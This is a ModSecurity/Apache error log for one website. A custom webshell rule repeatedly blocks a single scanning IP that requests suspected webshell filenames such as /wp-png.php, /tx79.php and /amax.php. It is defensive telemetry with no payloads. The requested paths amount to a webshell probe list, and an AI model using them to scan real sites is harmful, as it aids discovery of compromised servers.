[Sun Apr 26 15:21:26.930848 2026] [:error] [pid 16574:tid 16627] [client 20.215.250.178:26892] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae289n5MsX8wRQr99nYfswAAA1A"]
[Sun Apr 26 15:21:26.980312 2026] [:error] [pid 8390:tid 8460] [client 20.215.250.178:26351] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae289oGPtFK_i9p5yxT8PgAAAIk"]
[Sun Apr 26 15:21:27.574157 2026] [:error] [pid 8390:tid 8456] [client 20.215.250.178:26837] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae2894GPtFK_i9p5yxT8QgAAAIU"]
[Sun Apr 26 15:21:28.240106 2026] [:error] [pid 13137:tid 13159] [client 20.215.250.178:26894] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae28-N0RB4J0o4h5neFGqwAAAhI"]
[Sun Apr 26 15:21:28.917710 2026] [:error] [pid 8390:tid 8452] [client 20.215.250.178:25494] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae28-IGPtFK_i9p5yxT8RQAAAIE"]
[Sun Apr 26 15:21:29.991034 2026] [:error] [pid 13197:tid 13244] [client 20.215.250.178:26355] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae28-d3kktFKdSxTrBu_zQAAAsw"]
[Sun Apr 26 15:21:29.995986 2026] [:error] [pid 13197:tid 13256] [client 20.215.250.178:26861] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae28-d3kktFKdSxTrBu_zgAAAtg"]
[Sun Apr 26 15:21:30.503036 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:26414] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae28-oGPtFK_i9p5yxT8SAAAAIg"]
[Sun Apr 26 15:21:31.134800 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:26339] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ae28-4GPtFK_i9p5yxT8SgAAAJU"]
[Sun Apr 26 15:21:31.135269 2026] [:error] [pid 8390:tid 8462] [client 20.215.250.178:26881] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae28-4GPtFK_i9p5yxT8SwAAAIs"]
[Sun Apr 26 15:21:32.826142 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:26893] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae28_HB3EmQlD4yKUt-37wAAAYM"]
[Sun Apr 26 15:21:33.822977 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:26854] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae28_YGPtFK_i9p5yxT8TgAAAII"]
[Sun Apr 26 15:21:34.169604 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:26344] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae28_oGPtFK_i9p5yxT8TwAAAI0"]
[Sun Apr 26 15:21:34.861460 2026] [:error] [pid 22572:tid 22596] [client 20.215.250.178:26906] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae28_tXOViWCFU-pZzDuXQAAAVI"]
[Sun Apr 26 15:21:35.372059 2026] [:error] [pid 8390:tid 8451] [client 20.215.250.178:27389] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae28_4GPtFK_i9p5yxT8UwAAAIA"]
[Sun Apr 26 15:21:35.774957 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:26827] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae28_4GPtFK_i9p5yxT8VgAAAJQ"]
[Sun Apr 26 15:21:36.083153 2026] [:error] [pid 22572:tid 22578] [client 20.215.250.178:25807] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "ae29ANXOViWCFU-pZzDuXgAAAUA"]
[Sun Apr 26 15:21:37.323849 2026] [:error] [pid 22573:tid 22618] [client 20.215.250.178:27348] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae29AXB3EmQlD4yKUt-38AAAAYs"]
[Sun Apr 26 15:21:37.324611 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:27449] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29AYGPtFK_i9p5yxT8WgAAAIg"]
[Sun Apr 26 15:21:38.477322 2026] [:error] [pid 8390:tid 8462] [client 20.215.250.178:27332] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29AoGPtFK_i9p5yxT8XgAAAIs"]
[Sun Apr 26 15:21:38.665017 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:27367] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae29AoGPtFK_i9p5yxT8XwAAAJM"]
[Sun Apr 26 15:21:39.259948 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:27387] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29A4GPtFK_i9p5yxT8YwAAAIM"]
[Sun Apr 26 15:21:39.277992 2026] [:error] [pid 22573:tid 22617] [client 20.215.250.178:27372] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae29A3B3EmQlD4yKUt-38wAAAYo"]
[Sun Apr 26 15:21:40.002860 2026] [:error] [pid 8390:tid 8471] [client 20.215.250.178:26391] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "ae29BIGPtFK_i9p5yxT8ZQAAAJQ"]
[Sun Apr 26 15:21:40.174369 2026] [:error] [pid 22573:tid 22613] [client 20.215.250.178:27386] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29BHB3EmQlD4yKUt-39gAAAYc"]
[Sun Apr 26 15:21:40.546594 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:27330] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae29BIGPtFK_i9p5yxT8ZgAAAJY"]
[Sun Apr 26 15:21:40.896269 2026] [:error] [pid 16515:tid 16524] [client 20.215.250.178:26822] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29BFtDrUmgHSvpuLwZUgAAAkY"]
[Sun Apr 26 15:21:41.187587 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:26843] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae29BYGPtFK_i9p5yxT8agAAAJM"]
[Sun Apr 26 15:21:41.870696 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:27402] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29BdXOViWCFU-pZzDuXwAAAVg"]
[Sun Apr 26 15:21:41.932809 2026] [:error] [pid 16515:tid 16531] [client 20.215.250.178:27361] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae29BVtDrUmgHSvpuLwZVAAAAk0"]
[Sun Apr 26 15:21:42.450999 2026] [:error] [pid 16515:tid 16522] [client 20.215.250.178:26367] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29BltDrUmgHSvpuLwZVQAAAkQ"]
[Sun Apr 26 15:21:42.548736 2026] [:error] [pid 8385:tid 8447] [client 20.215.250.178:27423] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae29BjOy7_J84Wx3-oyyLgAAAFc"]
[Sun Apr 26 15:21:43.388224 2026] [:error] [pid 8385:tid 8436] [client 20.215.250.178:27369] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29BzOy7_J84Wx3-oyyMAAAAEw"]
[Sun Apr 26 15:21:43.446497 2026] [:error] [pid 16515:tid 16528] [client 20.215.250.178:26926] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29B1tDrUmgHSvpuLwZVgAAAko"]
[Sun Apr 26 15:21:43.991116 2026] [:error] [pid 8383:tid 8414] [client 20.215.250.178:27401] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29B9Fa2S3EsATMdWP1pAAAABE"]
[Sun Apr 26 15:21:44.528608 2026] [:error] [pid 8491:tid 8513] [client 20.215.250.178:26853] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29CCq7I7e6CJooQM3jNwAAAM4"]
[Sun Apr 26 15:21:44.643445 2026] [:error] [pid 13137:tid 13156] [client 20.215.250.178:26386] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29CN0RB4J0o4h5neFGrwAAAg8"]
[Sun Apr 26 15:21:45.213041 2026] [:error] [pid 16515:tid 16532] [client 20.215.250.178:27360] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "ae29CVtDrUmgHSvpuLwZWAAAAk4"]
[Sun Apr 26 15:21:45.348021 2026] [:error] [pid 13137:tid 13157] [client 20.215.250.178:27420] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29Cd0RB4J0o4h5neFGsAAAAhA"]
[Sun Apr 26 15:21:46.219220 2026] [:error] [pid 8385:tid 8444] [client 20.215.250.178:26898] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29CjOy7_J84Wx3-oyyMgAAAFQ"]
[Sun Apr 26 15:21:46.299430 2026] [:error] [pid 22572:tid 22581] [client 20.215.250.178:25483] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29CtXOViWCFU-pZzDuYgAAAUM"]
[Sun Apr 26 15:21:46.940131 2026] [:error] [pid 8385:tid 8440] [client 20.215.250.178:27415] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29CjOy7_J84Wx3-oyyMwAAAFA"]
[Sun Apr 26 15:21:47.861076 2026] [:error] [pid 13137:tid 13162] [client 20.215.250.178:26871] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29C90RB4J0o4h5neFGsQAAAhU"]
[Sun Apr 26 15:21:48.180771 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:26817] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29DHB3EmQlD4yKUt-4BQAAAYY"]
[Sun Apr 26 15:21:48.926104 2026] [:error] [pid 8491:tid 8517] [client 20.215.250.178:26829] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29DCq7I7e6CJooQM3jOgAAANI"]
[Sun Apr 26 15:21:49.256765 2026] [:error] [pid 8491:tid 8504] [client 20.215.250.178:27426] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29DSq7I7e6CJooQM3jOwAAAMU"]
[Sun Apr 26 15:21:50.209611 2026] [:error] [pid 8383:tid 8417] [client 20.215.250.178:26823] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29DtFa2S3EsATMdWP1pgAAABQ"]
[Sun Apr 26 15:21:50.263473 2026] [:error] [pid 8491:tid 8508] [client 20.215.250.178:25495] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "ae29Diq7I7e6CJooQM3jPQAAAMk"]
[Sun Apr 26 15:21:51.267435 2026] [:error] [pid 16574:tid 16637] [client 20.215.250.178:27349] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29D35MsX8wRQr99nYftwAAA1U"]
[Sun Apr 26 15:21:51.516802 2026] [:error] [pid 8385:tid 8434] [client 20.215.250.178:26361] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "ae29DzOy7_J84Wx3-oyyNQAAAEo"]
[Sun Apr 26 15:21:52.634289 2026] [:error] [pid 8385:tid 8430] [client 20.215.250.178:27329] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29EDOy7_J84Wx3-oyyNgAAAEY"]
[Sun Apr 26 15:21:52.837570 2026] [:error] [pid 22573:tid 22626] [client 20.215.250.178:26856] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29EHB3EmQlD4yKUt-4CAAAAZM"]
[Sun Apr 26 15:21:53.595754 2026] [:error] [pid 8491:tid 8499] [client 20.215.250.178:26847] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29ESq7I7e6CJooQM3jQgAAAMA"]
[Sun Apr 26 15:21:53.730713 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25868] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29EYGPtFK_i9p5yxT8ewAAAI0"]
[Sun Apr 26 15:21:54.775465 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:27328] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "ae29EoGPtFK_i9p5yxT8fQAAAJM"]
[Sun Apr 26 15:21:54.779800 2026] [:error] [pid 8390:tid 8460] [client 20.215.250.178:27365] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "ae29EoGPtFK_i9p5yxT8fgAAAIk"]
